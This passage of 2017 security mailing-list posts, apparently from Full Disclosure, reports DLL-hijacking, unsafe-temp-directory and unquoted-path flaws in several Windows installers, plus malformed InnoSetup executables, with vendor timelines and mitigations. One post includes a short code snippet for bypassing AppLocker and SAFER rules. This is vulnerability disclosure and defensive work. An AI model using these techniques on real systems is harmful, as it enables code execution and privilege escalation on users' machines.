 14C machine (x86)
   B number of sections
58071D79 time date stamp Wed Oct 19 09:15:05 2016
  2B5C00 file pointer to symbol table
   0 number of symbols
  E0 size of optional header
 32E characteristics
   Executable
   Line numbers stripped
   Symbols stripped
   Application can handle large (>2GB) addresses
   32 bit word machine
   Debug information stripped

OPTIONAL HEADER VALUES
 10B magic # (PE32)
2.22 linker version
  1D2C00 size of code
  2B5800 size of initialized data
1C00 size of uninitialized data
12A0 entry point (004012A0)
1000 base of code
  1D4000 base of data
  40 image base (0040 to 006BDFFF)
1000 section alignment
 200 file alignment
4.00 operating system version
1.00 image version
4.00 subsystem version
   0 Win32 version
  2BE000 size of image
 400 size of headers
 787749C checksum
   2 subsystem (Windows GUI)
 540 DLL characteristics
   Dynamic base
   NX compatible
   No structured exception handler
  20 size of stack reserve
1000 size of stack commit
  10 size of heap reserve
1000 size of heap commit
   0 loader flags
  10 number of directories
  28 [  6E] RVA [size] of Export Directory
  281000 [3C04] RVA [size] of Import Directory
  287000 [   22B34] RVA [size] of Resource Directory
   0 [   0] RVA [size] of Exception Directory
 786BB58 [10B0] RVA [size] of Certificates Directory
  2AA000 [   13850] RVA [size] of Base Relocation Directory
   0 [   0] RVA [size] of Debug Directory
   0 [   0] RVA [size] of Architecture Directory
   0 [   0] RVA [size] of Global Pointer Directory
  286000 [  18] RVA [size] of Thread Storage Directory
   0 [   0] RVA [size] of Load Configuration Directory
   0 [   0] RVA [size] of Bound Import Directory
  2819AC [ 894] RVA [size] of Import Address Tab

[FD] Executable installers are vulnerable^WEVIL (case 49): 1Password-4.6.1.619.exe allows arbitrary code execution

[Stefan Kanthak]

Hi @ll,

1Password-4.6.1.619.exe, available from
<https://d13itkw33a7sus.cloudfront.net/dist/1P/win4/1Password-4.6.1.619.exe>
is vulnerable to DLL hijacking: it loads UXTheme.dll or DWMAPI.dll
from its "application directory" instead Windows
"system directory".

For downloaded applications like 1Password-4.6.1.619.exe the
"application directory" is Windows' "Downloads" folder.

See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
<http://seclists.org/fulldisclosure/2012/Aug/134> and
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
for more information.

See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> for this
well-known beginner's error.


If one of the DLLs named above is placed in the users "Downloads"
directory (for example per "drive-by download") this vulnerability
becomes a remote code execution.

JFTR: there is ABSOLUTELY no need for executable installers on
  Windows! DUMP THIS CRAP!


Additionally the installer creates an unsafe temporary directory
"%TEMP%\is-*.tmp\" where it extracts some parts of itself and
executes them.

See <https://cwe.mitre.org/data/definitions/377.html>
and <https://cwe.mitre.org/data/definitions/379.html> for this
well-known beginner's error.


Mitigations:


* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".

* Use SAFER alias Software Restriction Policies or AppLocker to
  enforce W^X alias "write Xor execute" in the NTFS file system:
  allow execution only below %SystemRoot% and %ProgramFiles% and
  deny it everywhere else.

  See <http://mechbgon.com/srp/index.html> or
  <http://home.arcor.de/skanthak/SAFER.html> alias
  <https://skanthak.homepage.t-online.de/SAFER.html> for more
  information.


stay tuned (and far away from such crap)
Stefan Kanthak


Timeline:
~

2017-03-21vulnerability report sent to vendor

2017-03-23reply from vendor
  "WON'T FIX: this does not attack 1Password data but
   the target system itself, and is an issue with low
   risk, an issue that has existing mitigations in place,
   or is an accepted business risk for the customer."

2017-04-07report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Defense in depth -- the Microsoft way (part 47): "AppLocker bypasses are not serviced via monthly security roll-ups"

[Stefan Kanthak]

I wrote Tuesday, March 21, 2017 8:09 PM:

[ ...snip... ]

> Mitigation:
> ~~~
> 
> Create an "AppCert.Dll" that exports CreateProcessNotify and
> set the following registry entry
> 
> [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session 
> Manager\AppCertDlls]
> "AppCert.Dll"="\AppCert.Dll"

[ ...snip... ]

If you can't create an "AppCert.Dll" from the code I depicted or
don't know how to implement the function "forbidden()" yourself:
just visit <https://skanthak.homepage.t-online.de/appcert.html>,
read it and get the prebuilt DLLs plus their .INF setup script,
packaged in a .CAB archive.

enjoy
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 47): "AppLocker bypasses are not serviced via monthly security roll-ups"

[Stefan Kanthak]

Hi @ll,

Windows 8 and newer versions (Windows 7 and Windows Server 2008 R2
with KB2532445 or KB3125574 installed too) don't allow unprivileged
callers to circumvent AppLocker and SAFER rules via

LoadLibraryEx(TEXT(""), NULL, LOAD_IGNORE_CODE_AUTHZ_LEVEL);

See <https://msdn.microsoft.com/en-us/library/ms684179.aspx>
and <https://support.microsoft.com/kb/2532445>

| LOAD_IGNORE_CODE_AUTHZ_LEVEL0x0010
|
| If this value is used, the system does not check AppLocker rules
| or apply Software Restriction Policies for the DLL. This action
| applies only to the DLL being loaded and not to its dependencies.
| This value is recommended for use in setup programs that must
| run extracted DLLs during installation.
|
| Windows Server 2008 R2 and Windows 7:
| On systems with KB2532445 installed, the caller must be running
| as "LocalSystem" or "TrustedInstaller"; otherwise the system
| ignores this flag.


Unprivileged users can but bypass AppLocker or SAFER alias Software
Restriction Policies via

STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};
CreateProcess(TEXT(""), NULL, NULL, NULL, FALSE,
  CREATE_PRESERVE_CODE_AUTHZ_LEVEL, NULL, NULL, , );

on ALL versions from Windows XP to Windows 10!

See <https://msdn.microsoft.com/en-us/library/ms684863.aspx>

| CREATE_PRESERVE_CODE_AUTHZ_LEVEL0x0200
|
| Allows the caller to execute a child process that bypasses the
| process restrictions that would normally be applied automatically
| to the process.


Mitigation:
~~~

Create an "AppCert.Dll" that exports CreateProcessNotify and
set the following registry entry

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session 
Manager\AppCertDlls]
"AppCert.Dll"="\AppCert.Dll"
...

Note: AppCertDlls are loaded at the first call of one of the
  CreateProcess*() functions. Process creation is denied
  if one of them returns STATUS_UNSUCCESSFUL from its
  CreateProcessNotify() routine when called with the flag
  PROCESS_CREATION_QUERY.

--- APPCERT.C ---
#pragma comment(linker, "/DLL")
#ifdef _WIN64
#pragma comment(linker, "/EXPORT:CreateProcessNotify,PRIVATE")
#else
#pragma comment(linker, 
"/EXPORT:CreateProcessNotify=_CreateProcessNotify@8,PRIVATE")
#endif
#pragma comment(linker, "/NOENTRY")

#include 

#define PROCESS_CREATION_QUERY   1L
#define PROCESS_CREATION_ALLOWED 2L
#define PROCESS_CREATION_DENIED  3L

NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, ULONG ulReason)
{
NTSTATUS ntStatus = STATUS_SUCCESS;

switch (ulReason)
{
case PROCESS_CREATION_QUERY:
// called once for each process that is to be created
// return STATUS_SUCCESS to allow process creation or
// return STATUS_UNSUCCESSFUL to deny process creation

if (forbidden(lpApplicationName))
ntStatus = STATUS_UNSUCCESSFUL;

break;

case PROCESS_CREATION_ALLOWED:
// called once for each process that is allowed creation

...

break;

case PROCESS_CREATION_DENIED:
// called once for each process that is denied creation

...

break;

default:
;
}

// the return value is only used for PROCESS_CREATION_QUERY,
// all other conditions are ignored

return ntStatus;
}
--- EOF ---


stay tuned
Stefan Kanthak


Timeline:
~

2017-03-10sent vulnerability report to vendor

2017-03-10reply from vendor: MSRC case 37727 opened

2017-03-13reply from vendor: product team is working on case

2017-03-21reply from vendor:
  "The product team has finished their investigation and
   determined this will be serviced in a future version
   of Windows. AppLocker bypasses are not serviced via
   monthly security roll-ups; only major version updates."

2017-03-21<https://support.microsoft.com/kb/2532445> but serviced
  a bypass with a hotfix which was incorporated in later
  security updates and is included in the "convenience"
  rollup <https://support.microsoft.com/en-us/kb/3125574>

2017-03-21reply from vendor:
  "If you want this fixed immediately and are an
   enterprise customer you'll need to work with your
   Account Manager to open a support case."

2017-03-21report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 46): no checks for common path handling errors in "Application Verifier"

[Stefan Kanthak]

Hi @ll,

according to <https://msdn.microsoft.com/en-us/library/aa480483.aspx>
Microsoft's "Application Verifier" [°] should detect the well-known
beginner's error <https://cwe.mitre.org/data/definitions/428.html>:

| Checking for Proper Use of CreateProcess
|
| Calls to the CreateProcess API function are subject to attack if
| parameters are not specified correctly. AppVerifier generates an
| error if CreateProcess (or other related API functions) are called
| with a NULL lpApplicationName parameter and an lpCommandLine
| parameter that contains spaces. For example, it does not allow the
| following as the command line parameter:
|
|c:\program files\sample.exe -t -g c:\program files\sample\test
|
| Using this command line, an application can inadvertently execute
| unwanted code if a malicious user installs his program to C:\Program.

Unfortunately the MSDN article cited above tells a blatant lie:
Application Verifier does NOT perform the check described there!

The sad truth^Wreality is that Application Verifier also performs
NO check for other way too common path handling errors, like
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>, well-known as
"DLL hijacking" alias "DLL preloading" alias "binary planting" ['].


See <https://skanthak.homepage.t-online.de/verifier.html> for an
"Application Verifier Provider" which performs the missing checks.


stay tuned
Stefan Kanthak


[°] introduced with Windows XP some 16 years ago, available via
<https://www.microsoft.com/en-us/download/details.aspx?id=20028>
as stand-alone package then, later distributed with the
"Debugging Tools for Windows", now included in the Windows SDK
(see <https://msdn.microsoft.com/en-us/library/ff538115.aspx>)

['] see <https://skanthak.homepage.t-online.de/sentinel.html> for
the full story.


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are defective^WEVIL (case 2): innosetup-5.5.9.exe and innosetup-5.5.9-unicode.exe

[Stefan Kanthak]

Hi @ll,

InnoSetup is BROKEN, it creates DEFECTIVE "portable executable"
image files, for example innosetup-5.5.9.exe itself.

JFTR: unfortunately Windows' module loader covers these bugs and
  loads such defective PE image files.

DEFECTS:


1. all (8) IMAGE_IMPORT_DESCRIPTOR entries in the IMPORT directory
   are INVALID: their Characteristics/OriginalFirstThunk fields
   contain 0 instead of the RVA of the import lookup table!

   See the PE/COFF specification, available via
   <https://www.microsoft.com/en-us/download/details.aspx?id=19509>,
   or <https://msdn.microsoft.com/en-us/magazine/ms809762.aspx>,
   "Table 8. IMAGE_IMPORT_DESCRIPTOR":

| Offset  Size  Field  Description
|  0 4  Import Lookup  The RVA of the import lookup table.
|   Table RVA  This table contains a name or ordinal
|   (Characteristics)  for each import. (The name
|  "Characteristics" is used in Winnt.h,
|  but no longer describes this field.)


2. the IMPORT directory holds 2 IMAGE_IMPORT_DESCRIPTOR entries for
   each of "kernel32.dll", "user32.dll" and "advapi32.dll", even with
   duplicate names (WriteFile, ReadFile, VirtualAlloc for example).

   It should but have only 1 IMAGE_IMPORT_DESCRIPTOR for each DLL!

   From the PE/COFF specification (see above):

| Import Directory Table
...
| The import directory table consists of an array of import directory
| entries, one entry for each DLL to which the image refers.


3. The "DLL characteristics" 0x8140 in the  IMAGE_OPTIONAL_HEADER
   (see <https://msdn.microsoft.com/en-us/library/ms680339.aspx>)
   specifies IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE, but the image
   file has no VALID relocation info:

   3.a) both RVA and size of the IMAGE_DIRECTORY_ENTRY_BASERELOC
entry are 0!

   3.b) a ".reloc" section is present with (virtual) size 0x091C,
but its file offset and size are both 0!

   3.c) the "PE characteristics" 0x818F specifies "relocations
stripped"!


Minor bugs:
~~~

4. the ".rsrc" section contains 4 icons for language id 0x0413
   "nl-NL", but the icon group specifies language id 0x0409 "en-US".

   Icons and icon groups should but all have the language id 0x,
   i.e. NEUTRAL!
   Icons referenced in icon groups should have the same language id
   as their icon group.


5. all STRING resources have the language id 0x, although the
   strings are available in english only!


6. both the MANIFEST and the VERSIONINFO resource have language id
   0x0409 "en-US".

   Both should but have the language id 0x, i.e. NEUTRAL!

   For VERSIONINFO resources, the language of its entries is
   specified WITHIN the resource itself, not in its header!

   The language id within the VERSIONINFO resource is 0x,
   despite the english only strings
   "This installation was built with Inno Setup." in "Comments",
   "Inno Setup Setup" in "FileDescription" etc.


7. the timestamp in the PE header of innosetup-5.5.9.exe is
   0x2A425E19, which is "Friday, 1992-06-19 22:22:17 UTC".


innosetup-5.5.9-unicode.exe has the defect 2 and the bugs 4, 5 and 6.


stay tuned
Stefan Kanthak


Timeline:
~

2017-02-25report sent to authors of InnoSetup

  NO reply, not even an acknowledgement of receipt.

2017-03-06report published


Evidence:
~

X:\>link.exe /dump /headers /imports innosetup-5.5.9.exe

Microsoft (R) COFF/PE Dumper Version 8.00.50727.762
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file innosetup-5.5.9.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
 14C machine (x86)
   8 number of sections
2A425E19 time date stamp Sat Jun 20 00:22:17 1992
~
   0 file pointer to symbol table
   0 number of symbols
  E0 size of optional header
818F characteristics
   Relocations stripped
   
   Executable
   Line numbers stripped
   Symbols stripped
   Bytes reversed
   32 bit word machine

OPTIONAL HEADER VALUES
 10B magic # (PE32)
2.25 linker version
A200 size of code
4600 size of initialized data
   0 size of uninitialized data
AA98 entry point (0040AA98)
1000 base of code
C000 base of data
  40 image base (0040 to 00414FFF)
1000 section alignment
 200 file alignment
1.00 operating system version
6.0

[FD] Executable installers are defective^WEVIL (case 1): putty-0.68-installer.exe

[Stefan Kanthak]

Hi @ll,

although puTTY finally offers MSI packages as primary installers on
<http://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>,
they still provide an executable installer putty-0.68-installer.exe
(see <http://seclists.org/fulldisclosure/2016/Mar/12>), still
created with InnoSetup.

putty-0.68-installer.exe is but a DEFECTIVE "portable executable"
image (see DUMPBIN output below)!

JFTR: unfortunately Windows' module loader covers these bugs and
  loads such defective PE image files.

DEFECTS:


1. all (here: 8) IMAGE_IMPORT_DESCRIPTOR entries in the IMPORT
   directory are INVALID: their Characteristics/OriginalFirstThunk
   fields contain 0 instead of the RVA of the import lookup table!

   From the PE/COFF specification, available via
   <https://www.microsoft.com/en-us/download/details.aspx?id=19509>,
   or <https://msdn.microsoft.com/en-us/magazine/ms809762.aspx>,
   "Table 8. IMAGE_IMPORT_DESCRIPTOR":

| Offset  Size  Field  Description
|  0 4  Import Lookup  The RVA of the import lookup table.
|   Table RVA  This table contains a name or ordinal
|   (Characteristics)  for each import. (The name
|  "Characteristics" is used in Winnt.h,
|  but no longer describes this field.)


2. the IMPORT directory holds 2 IMAGE_IMPORT_DESCRIPTOR entries for
   each of "kernel32.dll", "user32.dll" and "advapi32.dll", even with
   duplicate names (WriteFile, ReadFile, VirtualAlloc for example).

   It should but have only 1 IMAGE_IMPORT_DESCRIPTOR for each DLL!

   From the PE/COFF specification (see above):

| Import Directory Table
...
| The import directory table consists of an array of import directory
| entries, one entry for each DLL to which the image refers.


3. The "DLL characteristics" 0x8140 in the IMAGE_OPTIONAL_HEADER
   (see <https://msdn.microsoft.com/en-us/library/ms680339.aspx>)
   specifies IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE, but the image
   file has no VALID relocation info:

   3.a) both RVA and size of the IMAGE_DIRECTORY_ENTRY_BASERELOC
entry are 0!

   3.b) a ".reloc" section is present with (virtual) size 0x091C,
but its file offset and size are both 0!

   3.c) the "PE characteristics" 0x818F specifies "relocations
stripped"!


Minor bugs:
~~~

4. the ".rsrc" section contains different icons for language id
   0x0409 "en-US" and 0x0413 "nl-NL", but only for the icons 1 to 4,
   not for the icons 5 to 9.

   Icons should but all have the language id 0x, i.e. NEUTRAL!


5. all STRING resources have the language id 0x, although the
   strings are available in english only!


6. both the MANIFEST and the VERSIONINFO resource have language id
   0x0409 "en-US".

   Both should but have the language id 0x, i.e. NEUTRAL!

   For VERSIONINFO resources, the language of its entries is
   specified WITHIN the resource itself, not in its header!

   The language id within the VERSIONINFO resource of
   putty-0.68-installer.exe is 0x, despite the english only
   strings "This installation was built with Inno Setup." in
   "Comments", "PuTTY Setup" in "FileDescription" and "Release 0.68"
   in "FileVersion".


7. the timestamp in the PE header of putty-0.68-installer.exe is
   0x2A425E19, which is "Friday, 1992-06-19 22:22:17 UTC".


stay tuned
Stefan Kanthak


Timeline:
~

2017-02-24report sent to authors of puTTY and InnoSetup

2017-02-25reply from puTTY:
  "Unfortunately we have no interest in your intemperate
   tirade.  Please bother InnoSetup's author about it
   rather than us."

  NO reply from InnoSetup, not even an acknowledgement
  of receipt.

2017-03-04report published


Evidence:
~

X:\>link.exe /dump /headers /imports putty-0.68-installer.exe

Microsoft (R) COFF/PE Dumper Version 8.00.50727.762
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file putty-0.68-installer.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
 14C machine (x86)
   8 number of sections
2A425E19 time date stamp Sat Jun 20 00:22:17 1992
~
   0 file pointer to symbol table
   0 number of symbols
  E0 size of optional header
818F characteristics
   Relocations stripped
   
   Executable
   Line numbers stripped
   Symbols stripped
   Bytes reversed
   32 bit word machine

OPTIONAL HE

[FD] "long" filenames mishandled by Fujitsu's ScanSnap software

[Stefan Kanthak]

Hi @ll,

Fujitsu's ScanSnap software installers WinSSInstiX500WW1.exe
and WinSSInstS1100iWW1.exe, available from
<http://www.fujitsu.com/global/support/products/computing/peripheral/scanners/scansnap/software/ix500w-installer.html>
and
<http://www.fujitsu.com/global/support/products/computing/peripheral/scanners/scansnap/software/s1100i.html>,
execute C:\Program.exe multiple times near the end of the
installation process.
I'm VERY confident that the installers for other scanner models
show the same vulnerability.

Culprit is the program SSInst.exe, which fails to quote the command
lines
C:\Program Files\PFU\ScanSnap\SSFolder\SSFolderTray.exe  /e /u
C:\Program Files\PFU\ScanSnap\Driver\SsWizard\PfuSsConnectionWizard.exe  
/ini
C:\Program Files\PFU\ScanSnap\Driver\SsWifiTool\PfuSsWiFiToolStart.exe  /s
C:\Program Files\PFU\ScanSnap\Driver\SsWizard\PfuSsConnectionWizard.exe  
/SSType
properly; since SSInst.exe runs with administrative privileges,
C:\Program.exe is executed with administrative privileges too.

For this well-known and well-documented beginner's error see
<https://cwe.mitre.org/data/definitions/428.html> as well as
<https://msdn.microsoft.com/en-us/library/ms682425.aspx#Security_Remarks>

JFTR: Microsoft introduced "long" filenames more that 20 years ago.

Stay away from the crapware shipped with Fujitsu's scanners!


stay tuned
Stefan Kanthak


Timeline:
~

2017-01-28vulnerability report sent to vendor

  no reply, not even an acknowledgement of receipt

2017-02-05vulnerability report resent to vendor

2017-02-06vendor hotline forwards report to product team,
  asking for support

2017-02-08mail from vendor's technical support, subject
  "Your Request from 08.02.2017"

  "Unfortunately this request can not be processed via
   this mailadress."

2017-02-09which request?
  I did not send a request on 2017-02-08

2017-02-10mail from vendor's technical support, subject
  "Your Request from 10.02.2017"

  "Sorry, this was a mistake from me.
   You get info about the security alert on Monday or
   Tuesday next weak."

2017-02-14status request sent to vendor:
  "Tuesday has passed..."

2017-02-16mail from vendor's technical support, subject
  "Your Request from 16.02.2017"

  "Unfortunately we can really not help in this case.
   Try to contact ... support team"

  No, I don't run around in circles!
  I contacted them already.

2017-02-16report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 47): Heimdal Security's SetupLauncher vulnerable to DLL hijacking

[Stefan Kanthak]

Hi @ll,

Heimdal.SetupLauncher.exe, available from
<https://heimdalprodstorage.blob.core.windows.net/setup/Heimdal.SetupLauncher.exe>
is (surprise.-) vulnerable to DLL hijacking: it loads (at least)
WINSPOOL.DRV from its "application directory" instead Windows
"system directory".

For downloaded applications like Heimdal.SetupLauncher.exe the
"application directory" is Windows' "Downloads" folder.

See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
<http://seclists.org/fulldisclosure/2012/Aug/134> and
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
for more information.


On their web site <https://heimdalsecurity.com/en/> Heimdal Security
brags^Wlies:

| Online criminals hate us. We protect you from attacks that antivirus
| can't block.

The opposite is but true: every online criminal loves "security"
products because of such trivial to exploit vulnerabilities!

DLL hijacking is a 20 year old, well-known and well-documented
vulnerability, and a typical beginner's error: see
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>.
for more information.


Mitigations:


* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".

* Use SAFER alias Software Restriction Policies or AppLocker to
  enforce W^X alias "write Xor execute" in the NTFS file system:
  allow execution only below %SystemRoot% and %ProgramFiles% and
  deny it everywhere else.

  See <http://mechbgon.com/srp/index.html> or
  <http://home.arcor.de/skanthak/SAFER.html> alias
  <https://skanthak.homepage.t-online.de/SAFER.html> for more
  information.

* Stay FAR away from so-called "security" products!

  See (for example)
  
<http://robert.ocallahan.org/2017/01/disable-your-antivirus-software-except.html>
  and
  
<https://medium.com/@justin.schuh/stop-buying-bad-security-prescriptions-f18e4f61ba9e#.f07b2xdow>
  for more information.


stay tuned
Stefan Kanthak


Timeline:
~

2017-01-13vulnerability report sent to vendor

  no reply, not even an acknowledgement of receipt

2017-01-21vulnerability report resent to vendor

  no reply, not even an acknowledgement of receipt

2017-01-31report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Executable installers are vulnerable^WEVIL (case 46): Pelles C allows arbitrary code execution

[Stefan Kanthak]

"Ding Dong" <dingdongl...@gmail.com> wrote:

Please stop top posting and full quotes!

> Can you elaborate a bit on what special treatment windows gives installeres
> named setup.exe?

Run "NTSD.exe setup.exe" and see which DLLs Windows loads, and how
they are loaded.
Rename setup.exe to something.exe, run "NTSD.exe something.exe" and
compare the results.

JFTR: NTSD.exe was shipped with Windows NT5.x; in newer versions you
  have to install the debugging tools.

If you want to run without debugger: take a look at
<http://home.arcor.de/skanthak/verifier.html> alias
<https://skanthak.homepage.t-online.de/verifier.html>

JFTR: <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/>
  was referred in <http://seclists.org/bugtraq/2016/Jan/105>

In short: setup.exe lets Windows load some app-compat shims.

stay tuned
Stefan

> On 21 January 2017 at 20:37, Stefan Kanthak <stefan.kant...@nexgo.de> wrote:
> 
>> Hi @ll,
>>
>> the executable installers of "Pelle's C",
>> <http://smorgasbordet.com/pellesc/800/setup64.exe> and,
>> <http://smorgasbordet.com/pellesc/800/setup.exe>, available
>> from <http://smorgasbordet.com/pellesc/index.htm>, are vulnerable
>> to DLL hijacking: they load (tested on Windows 7) at least the
>> following DLLs from their "application directory" instead Windows'
>> "system directory": Version.dll, MSI.dll, UXTheme.dll, DWMAPI.dll,
>> RichEd20.dll and CryptBase.dll

[snip]

>> JFTR: there is ABSOLUTELY no need for executable installers on
>>   Windows! DUMP THIS CRAP!
>>
>> JFTR: naming a program "Setup.exe" is another beginner's error:
>>   Windows' does some VERY special things when it encounters
>>   this filename!

[snip]

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 46): Pelles C allows arbitrary code execution

[Stefan Kanthak]

Hi @ll,

the executable installers of "Pelle's C",
<http://smorgasbordet.com/pellesc/800/setup64.exe> and,
<http://smorgasbordet.com/pellesc/800/setup.exe>, available
from <http://smorgasbordet.com/pellesc/index.htm>, are vulnerable
to DLL hijacking: they load (tested on Windows 7) at least the
following DLLs from their "application directory" instead Windows'
"system directory": Version.dll, MSI.dll, UXTheme.dll, DWMAPI.dll,
RichEd20.dll and CryptBase.dll

See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> for this
well-known and well-documented vulnerability^WBEGINNER'S ERROR!


For programs downloaded from the internet the "application
directory" is typically the user's "Downloads" directory; see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>
and 
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>


If one of the DLLs named above is placed in the users "Downloads"
directory (for example per "drive-by download") this vulnerability
becomes a remote code execution.

JFTR: there is ABSOLUTELY no need for executable installers on
  Windows! DUMP THIS CRAP!

JFTR: naming a program "Setup.exe" is another beginner's error:
  Windows' does some VERY special things when it encounters
  this filename!


Mitigations:


* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~

2017-01-05sent vulnerability report to author

  no reply, not even an acknowledgement of receipt

2017-01-13resent vulnerability report to author

  no reply, not even an acknowledgement of receipt

2017-01-21report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 44): SoftMaker's FlexiPDF installers allow escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installers of SoftMaker's FlexiPDF,
<http://www.softmaker.net/down/flexipdf2017.exe> and
<http://www.softmaker.net/down/flexipdfbasic2017.exe>, built
with the crapware known as "InnoSetup", are vulnerable to DLL
hijacking: they load Windows DLLs from their "application
directory" instead Windows' "system directory": on Windows 7
at least UXTheme.dll and DWMAPI.dll.

This well-known and well-documented vulnerability allows
arbitrary code execution with the credentials of the current user.

Additionally the executable installers create an unsafe directory
"%TEMP%\is-*.tmp\" to extract an executable file "flexipdf2017.tmp"
or "flexipdfbasic2017.tmp" which they execute with administrative
privileges.

Both "flexipdf2017.tmp" and "flexipdfbasic2017.tmp" load multiple
Windows DLLs from their "application directory" "%TEMP%\is-*.tmp\":
on Windows 7 at least MSImg32.dll, Version.dll, MPR.dll, UXTheme.dll,
DWMAPI.dll

"Thanks" to the unsafe and unprotected directory "%TEMP%\is-*.tmp\"
an unprivileged attacker can place these DLLs there, resulting in
arbitrary code execution WITH elevation of privilege.

See <http://seclists.org/fulldisclosure/2015/Dec/33>,
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>
and 
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
for more details.

See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> and
<https://capec.mitre.org/data/definitions/471.html> plus
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> for these
well-known and well-documented vulnerabilities.


Mitigations:


* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
